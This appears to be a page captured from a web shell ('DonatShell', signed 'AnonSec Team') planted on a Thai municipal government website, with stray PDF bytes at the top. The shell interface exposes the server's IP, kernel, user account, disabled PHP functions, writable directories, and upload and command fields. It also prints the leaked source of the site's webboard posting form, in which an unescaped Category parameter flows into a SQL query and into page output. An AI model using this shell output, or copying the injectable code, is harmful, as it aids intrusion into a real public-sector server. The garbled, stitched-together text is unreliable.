%PDF-1.5 % ºaâÚÎΞ-ÌE1�ØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : phunphin ( 1164)
PHP Version : 5.3.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/phunphin/domains/phunphin.go.th/public_html/webboard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/phunphin/domains/phunphin.go.th/public_html/webboard//postq.php
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><!-- InstanceBegin template="/Templates/template_a.dwt.php" codeOutsideHTMLIsLocked="false" -->
<head>                                                                                                    
<!-- InstanceBeginEditable name="doctitle" -->

<!-- InstanceEndEditable --> 
<?php
require_once('../admin/Connections/conndb.php'); 
mysql_select_db($database_conndb, $conndb);
?>
<title>ͧ¤ì¡ÒúÃÔËÒÃÊèǹµÓºÅ¾Ø¹¾Ô¹ µÓºÅ¾Ø¹¾Ô¹ ÍÓàÀ;ع¾Ô¹ ¨Ñ§ËÇÑ´ÊØÃÒÉ®Ãì¸Ò¹Õ : http://www.phunphin.go.th</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../styles.css" rel="stylesheet" type="text/css">
<!-- InstanceBeginEditable name="head" --><!-- InstanceEndEditable -->


<!-- You can use Open Graph tags to customize link previews.
    Learn more: https://developers.facebook.com/docs/sharing/webmasters -->
  <meta property="og:url"           content="https://www.your-domain.com/your-page.html" />
  <meta property="og:type"          content="website" />
  <meta property="og:title"         content="Your Website Title" />
  <meta property="og:description"   content="Your description" />
  <meta property="og:image"         content="https://www.your-domain.com/path/image.jpg" />



<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
	background-color:#006cd8;	
}
-->
</style>

<!--styles -->
<link href="../styles.css" rel="stylesheet" type="text/css" />
<!--styles -->


<style type="text/css">
<!--
a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: none;
}
a:active {
	text-decoration: none;
}
.style1 {color: #000000}
-->
</style>

<!--font-->
<link href="https://fonts.googleapis.com/css?family=Chakra+Petch|Kanit|Pridi&display=swap" rel="stylesheet">
<!--font-->

<style type="text/css">
<!--
.style4 {font-family: 'Chakra Petch', sans-serif}
-->
</style>


</head>

<body  background="../images/0bg1_edit01.png" style="background-repeat:no-repeat; background-position:top">











<!-- content -->
<div align="center">
  <table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
      <td height="605" align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td height="55" align="center" valign="top"><table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr>
          <td align="center" valign="top"><a href="http://www.phunphin.go.th/index.php"><img src="../images/1menutop_01.png"  alt=""/></a></td>
          </tr>
      </table></td>
    </tr>
    <tr>
      <td align="center">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top">
      <table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr>
          <td align="center" valign="top">
          
          <table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr>
          <td align="center" valign="top"><img src="../images/bg_con2_01.png" width="100"></td>
        </tr>
        <tr>
          <td align="center" valign="top" background="../images/bg_con2_02.png" style="background-repeat:repeat; background-position:top"><table width="95%" border="0" align="center" cellpadding="0" cellspacing="0">
            <tr>
              <td align="center" valign="top"><!-- InstanceBeginEditable name="EditRegion3" -->
        <table width="98%" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td><div align="center"><?
include("config.inc.php");

// àªç¤ËÁÇ´¢Í§àÇ纺ÍÃì´
	mysql_connect($host,$user_db,$passwd_db);
	mysql_query ("SET NAMES 'tis620'");
	$c_sql = "select * from webboard_category where cat_name='$Category' ";
	$c_result = mysql_db_query($dbname,$c_sql);
	$c_NRow = mysql_num_rows($c_result);
	$c_row = mysql_fetch_array($c_result);
	
	$nlist = $c_row["cat_title"];
	$logo = $c_row["cat_logo"];

	if($c_NRow==0) { 
		echo "<center><br>";
		echo "<font color=red size=+1> ¡ÃسÒÃÐºØ Category ãËéµÃ§¡Ñº·Õè web à»Ô´ãªé´éǤÃѺ</font>";
		echo "<br>";
		echo "</center>";
		exit();		
	}
	
	mysql_close(); 
// ¨º¡ÒÃàªç¤
?></div></td>
          </tr>
		  <tr>
            <td height="30" class="title2"><div align="center"><? echo $nlist; ?></div></td>
          </tr>
          <tr>
            <td>&nbsp;</td>
          </tr>
		  <?
							function ranDomStr($length){
								$str2ran = '0123456789'; //string ·Õèà»ç¹ä»ä´é·Õè¨Ðãªé㹡Òà random «Öè§ÊÒÁÒöà¾ÔèÁÅ´ä´éµÒÁ¤ÇÒÁµéͧ¡ÒÃ
								$str_result = ""; //ʵÃÔ§ÇèÒ§ÊÓËÃѺ¨ÐÃѺ¤èÒ¨Ò¡¡Òà random
									while(strlen($str_result)<$length){ //ǹÅÙ»¨¹¡ÇèÒ¨Ðä´éʵÃÔ§µÒÁ¤ÇÒÁÂÒÇ·Õèµéͧ¡ÒÃ
										$str_result .= substr($str2ran,(rand()%strlen($str2ran)),1); //µèÍ string ¨Ò¡ substring ·Õèä´é¨Ò¡¡Òà random µÓáË¹è§ ·ÕÅÐ 1 µÑÇ ¨¹¡ÇèҨФúµÃÒÁ¤ÇÒÁÂÒÇ·ÕèÊè§ÁÒ
									}
								return($str_result);//Ê觤èÒ¡ÅѺ
							} 
							$ran_str = randomstr(6);//ÊÑè§ random string
							?> 
          <tr>
            <td><div align="center"><form method=post action="post.php?Category=<? echo $Category; ?>" name="webForm" onSubmit="return check()" ENCTYPE="multipart/form-data">
              <table width="500" border="0" cellpadding="1" cellspacing="1" class="box-center">
                <tr bgcolor="#fbfbfb">
                  <td height="25" colspan="3" background="../images/bg4.gif" class="styles"><div align="center">àªÔ­µÑ駤ӶÒÁ¢Í§¤Ø³ä´é·Õè¹Õè¤ÃѺ</div></td>
                  </tr>
                <tr bgcolor="#fbfbfb">
                  <td width="120" class="title"><div align="left">¤Ó¶ÒÁ</div></td>
                  <td width="30"><div align="center"><img src="pic/checklist.gif"></div></td>
                  <td width="350"><input name="QTitle" type=text class="blue" size=52 maxlength=100></td>
                </tr>
                <tr>
                  <td width="120" valign="top" bgcolor="#fbfbfb" class="title"><div align="left">ÃÒÂÅÐàÍÕ´</div></td>
                  <td width="30" valign="top" bgcolor="#fbfbfb"><div align="center"><img src="pic/checklist.gif"></div></td>
                  <td width="350" bgcolor="#fbfbfb"><textarea name="QNote" cols="55" rows="5" class="text_box"></textarea></td>
                </tr>
                <tr bgcolor="#fbfbfb">
                  <td width="120" class="title"><div align="left">ª×èÍ</div></td>
                  <td width="30"><div align="center"><img src="pic/checklist.gif"></div></td>
                  <td width="350"><input name="QName" type=text class="blue" value="" size=30 maxlength=20></td>
                </tr>

                <tr bgcolor="#fbfbfb">
                  <td width="120" class="title"><div align="left">ÍÕàÁÅÅì</div></td>
                  <td width="30">&nbsp;</td>
                  <td width="350"><input name="QEmail" type=text class="blue" id="QEmail" size=40 maxlength=30></td>
                </tr>
                <tr bgcolor="#fbfbfb">
                  <td width="120" valign="top" class="title"><div align="left">ÃٻẺ¾ÔàÈÉ</div></td>
                  <td width="30">&nbsp;</td>
                  <td width="350"><a href="javascript:setsmile('[---]')"><img src="pic/indent.gif" border=0 alt="ÂèÍ˹éÒ"></a> <a href="javascript:setBold()"><img src="pic/b.gif" border=0 alt="µÑÇ˹Ò"></a> <a href="javascript:setsup()"><img src="pic/sup.gif" border=0 alt="µÑÇ¡"></a> <a href="javascript:setsub()"><img src="pic/sub.gif" border=0 alt="µÑÇËéÍÂ"></a> <a href="javascript:setglow()"><img src="pic/glow.gif" border=0 alt="µÑÇ˹ѧÊ×ÍàÃ×ͧáʧ"></a> <a href="javascript:setshadow()"><img src="pic/shadow.gif" border=0 alt="µÑÇ˹ѧÊ×ÍÁÕà§Ò"></a> <a href="javascript:setItalic()"><img src="pic/i.gif" border=0 alt="µÑÇàÍÕ§"></a> <a href="javascript:setUnderline()"><img src="pic/u.gif" border=0 alt="àÊé¹ãµé"></a> <a href="javascript:setColor('red','á´§')"><img src="pic/redcolor.gif" border=0 alt="ÊÕá´§"></a> <a href="javascript:setColor('green','à¢ÕÂÇ')"><img src="pic/greencolor.gif" border=0 alt="ÊÕà¢ÕÂÇ"></a> <a href="javascript:setColor('blue','¹éÓà§Ô¹')"><img src="pic/bluecolor.gif" border=0 alt="ÊÕ¹éÓà§Ô¹"></a> <a href="javascript:setColor('orange','ÊéÁ')"><img src="pic/orangecolor.gif" border=0 alt="ÊÕÊéÁ"></a> <a href="javascript:setColor('pink','ªÁ¾Ù')"><img src="pic/pinkcolor.gif" border=0 alt="ÊÕªÁ¾Ù"></a> <a href="javascript:setColor('gray','à·Ò')"><img src="pic/graycolor.gif" border=0 alt="ÊÕà·Ò"></a></td>
                </tr>
                <tr>
                  <td width="120" valign="top" bgcolor="#fbfbfb" class="title"><div align="left">äͤ͹</div></td>
                  <td width="30" bgcolor="#fbfbfb">&nbsp;</td>
                  <td width="350" bgcolor="#fbfbfb"><a href="javascript:setsmile(':b1:')"><img src="pic/b1.gif" width="21" height="21" border="0"></a><a href="javascript:setsmile(':b2:')"><img src="pic/b2.gif" width="21" height="21" border="0"></a><a href="javascript:setsmile(':b3:')"><img src="pic/b3.gif" width="21" height="21" border="0"></a><a href="javascript:setsmile(':b4:')"><img src="pic/b4.gif" width="21" height="21" border="0"></a><a href="javascript:setsmile(':b5:')"><img src="pic/b5.gif" width="21" height="21" border="0"></a><a href="javascript:setsmile(':b6:')"><img src="pic/b6.gif" width="21" height="21" border="0"></a><a href="javascript:setsmile(':b7:')"><img src="pic/b7.gif" width="21" height="21" border="0"></a><a href="javascript:setsmile(':b8:')"><img src="pic/b8.gif" width="21" height="21" border="0"></a><a href="javascript:setsmile(':b9:')"><img src="pic/b9.gif" width="21" height="21" border="0"></a><a href="javascript:setsmile(':b10:')"><img src="pic/b10.gif" width="21" height="21" border="0"></a><a href="javascript:setsmile(':b11:')"><img src="pic/b11.gif" width="21" height="21" border="0"></a></td>
                </tr>
                <? if ($a_pic=="1") {
				  		echo "<tr bgcolor=#fbfbfb> 
                    <td valign=top class=title height=45><div align=left>á·Ã¡ÀÒ¾</div></td>
                    <td>&nbsp;</td><td><table width=100% border=0>
                        <td class=red> <input name=QPic type=file class=blue><br>
                            ¢¹Ò´ÀÒ¾ ËéÒÁà¡Ô¹ $Image_msg </td></tr></table></td></tr>";
				  }
		else { echo ""; } ?>
				<tr>
                  <td width="120" valign="top" bgcolor="#fbfbfb" class="title"><div align="left">ÃËÑÊÊè§¢éÍÁÙÅ </div></td>
				  <td width="30" valign="top" bgcolor="#fbfbfb">&nbsp;</td>
				  <td width="350" valign="top" bgcolor="#fbfbfb"><img src="pic_text.php?str=<?=$ran_str?>">&nbsp; <input name="code_input" type="text"><input type="hidden" name="code_hidden" value="<?=$ran_str?>"> </td>
				<tr>
                  <td colspan="3" valign="top" bgcolor="#fbfbfb"><div align="center"><input type=submit class="blue" value="Ê觤ӶÒÁ"> 
						 <input type=reset class="blue" value="  ¡àÅÔ¡  "></div></td>
                  </tr>
              </table>
            </form>
            </div></td>
          </tr>
          <tr>
            <td><script language="JavaScript">
function check()
{
      var v1 = document.webForm.QTitle.value;
      var v2 = document.webForm.QNote.value;
      var v3 = document.webForm.QName.value;
        if ( v1.length<5)
           {
           alert("¡Ãسһé͹¤Ó¶ÒÁ ÍÂèÒ§¹éÍ 5 µÑÇÍÑ¡ÉäÃѺ ");
           document.webForm.QTitle.focus();           
           return false;
           }
        else if (v2.length<5)
           {
           alert("¡Ãسһé͹ÃÒÂÅÐàÍÕ´ ÍÂèÒ§¹éÍ 5 µÑÇÍÑ¡ÉäÃѺ");
           document.webForm.QNote.focus();           
		   return false;
           }
        else if (v3.length==0)
           {
           alert("¡Ãسһé͹ª×èͼÙé¶ÒÁ");
           document.webForm.QName.focus();           
		   return false;
           }
        else
           return true;
}

function setURL()
{
	var temp = window.prompt('ãÊè URL ·Õè¤Ø³µéͧ¡ÒÃÊÃéÒ§à»ç¹ÅÔ§¤ì','http://'); 
	if(temp) setsmile('[url]'+temp+'[/url]');
}

function setImage()
{
	var temp = window.prompt('ãÊè URL ¢Í§ÃÙ»·Õè¤Ø³µéͧ¡ÒÃãËéáÊ´§ã¹¡ÃзÙé¢Í§¤Ø³','http://'); 
	if(temp) setsmile('[img]'+temp+'[/img]');
}

function setBold()
{
	var temp = window.prompt('ãÊè¢éͤÇÒÁ·Õè¤Ø³µéͧ¡Ò÷Óà»ç¹µÑÇ˹Ò',''); 
	if(temp) setsmile('[b]'+temp+'[/b]');
}

function setItalic()
{
	var temp = window.prompt('ãÊè¢éͤÇÒÁ·Õè¤Ø³µéͧ¡Ò÷Óà»ç¹µÑÇàÍÕ§',''); 
	if(temp) setsmile('[i]'+temp+'[/i]');
}
function setsup()
{
	var temp = window.prompt('ãÊè¢éͤÇÒÁ·Õè¤Ø³µéͧ¡Ò÷Óà»ç¹µÑÇ¡',''); 
	if(temp) setsmile('[sup]'+temp+'[/sup]');

}
function setsub()
{
	var temp = window.prompt('ãÊè¢éͤÇÒÁ·Õè¤Ø³µéͧ¡Ò÷Óà»ç¹µÑÇËéÍÂ',''); 
	if(temp) setsmile('[sub]'+temp+'[/sub]');
}
function setglow()
{
	var temp = window.prompt('ãÊè¢éͤÇÒÁ·Õè¤Ø³µéͧ¡Ò÷Óà»ç¹µÑÇàÃ×ͧáʧ',''); 
	if(temp) setsmile('[glow]'+temp+'[/glow]');
}
function setshadow()
{
	var temp = window.prompt('ãÊè¢éͤÇÒÁ·Õè¤Ø³µéͧ¡Ò÷Óà»ç¹µÑÇàÃ×ͧáʧ',''); 
	if(temp) setsmile('[shadow]'+temp+'[/shadow]');
}
function setUnderline()
{
	var temp = window.prompt('ãÊè¢éͤÇÒÁ·Õè¤Ø³µéͧ¡ÒÃãËéÁÕàÊé¹ãµé',''); 
	if(temp) setsmile('[u]'+temp+'[/u]');
}

function setColor(color,name)
{
	var temp = window.prompt('ãÊè¢éͤÇÒÁ·Õè¤Ø³µéͧ¡ÒÃãËéà»ç¹ÊÕ'+name,''); 
	if(temp) setsmile('[color='+color+']'+temp+'[/color]');
}

function setsmile(what)
{
	document.webForm.QNote.value = document.webForm.elements.QNote.value+" "+what;
	document.webForm.QNote.focus();
}
</script></td>
          </tr>
          <tr>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td class="styles2"><div align="center">| <a href="webboard.php?Category=<? echo $Category; ?>" class="styles2">áÊ´§¤Ó¶ÒÁ</a> | </div></td>
          </tr>
          <tr>
            <td>&nbsp;</td>
          </tr>
        </table>
      <!-- InstanceEndEditable --></td>
            </tr>
            <tr>
              <td align="center" valign="top">&nbsp;</td>
            </tr>
          </table></td>
        </tr>
        <tr>
          <td align="center" valign="top"><img src="../images/bg_con2_04.png" width="1000"></td>
        </tr>
      </table>          </td>
        </tr>
      </table>      </td>
    </tr>
  </table>
</div>
<!-- end_content -->

<tr><td><a style="display:scroll;position:fixed;bottom:5px;right:5px;" class="backtotop" href="#top" rel="nofollow" title="Back to Top"><img src="../images/up.png" border="0" /></a></td> 

</tr>









</body>
<!-- InstanceEnd --></html>

Anon7 - 2022
AnonSec Team